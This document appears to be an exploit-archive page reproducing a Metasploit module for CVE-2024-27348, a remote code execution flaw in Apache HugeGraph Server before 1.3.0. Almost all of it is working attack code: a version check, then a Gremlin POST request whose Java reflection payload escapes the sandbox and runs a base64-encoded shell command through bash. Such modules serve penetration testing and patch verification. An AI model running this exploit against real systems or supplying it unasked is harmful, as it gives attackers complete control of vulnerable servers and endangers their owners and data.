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Apache HugeGraph Gremlin Remote Code Execution
This Metasploit module exploits CVE-2024-27348, a remote code execution vulnerability that exists in Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve remote code execution through Gremlin, resulting in complete control over the server.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache HugeGraph Gremlin RCE', 'Description' => %q{ This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve RCE through Gremlin, resulting in complete control over the server }, 'Author' => [ '6right', # discovery 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/'], [ 'CVE', '2024-27348'] ], 'License' => MSF_LICENSE, 'Platform' => %w[unix linux], 'Privileged' => true, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-04-22', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to the Apache HugeGraph web application', '/']) ]) end def check res = send_request_cgi({ 'method' => 'GET' }) return CheckCode::Unknown('No response from the vulnerable endpoint /gremlin') unless res return CheckCode::Unknown("The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)") unless res.code == 200 version = res.get_json_document&.dig('version') return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0')) return CheckCode::Appears("Apache HugeGraph version detected: #{version}") end CheckCode::Safe("Apache HugeGraph version detected: #{version}") end def exploit print_status("#{peer} - Running exploit with payload: #{datastore['PAYLOAD']}") class_name = rand_text_alpha(4..12) thread_name = rand_text_alpha(4..12) command_name = rand_text_alpha(4..12) process_builder_name = rand_text_alpha(4..12) start_method_name = rand_text_alpha(4..12) constructor_name = rand_text_alpha(4..12) field_name = rand_text_alpha(4..12) java_payload = <<~PAYLOAD Thread #{thread_name} = Thread.currentThread(); Class #{class_name} = Class.forName(\"java.lang.Thread\"); java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\"); #{field_name}.setAccessible(true); #{field_name}.set(#{thread_name}, \"#{thread_name}\"); Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\"); java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class); java.util.List #{command_name} = java.util.Arrays.asList(#{"bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash".strip.split(' ').map { |element| "\"#{element}\"" }.join(', ')}); Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name}); java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\"); #{start_method_name}.invoke(#{process_builder_name}); PAYLOAD data = { 'gremlin' => java_payload, 'bindings' => {}, 'language' => 'gremlin-groovy', 'aliases' => {} } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/gremlin'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => data.to_json }) print_error('Unexpected response from the vulnerable exploit') unless res && res.code == 200 endend
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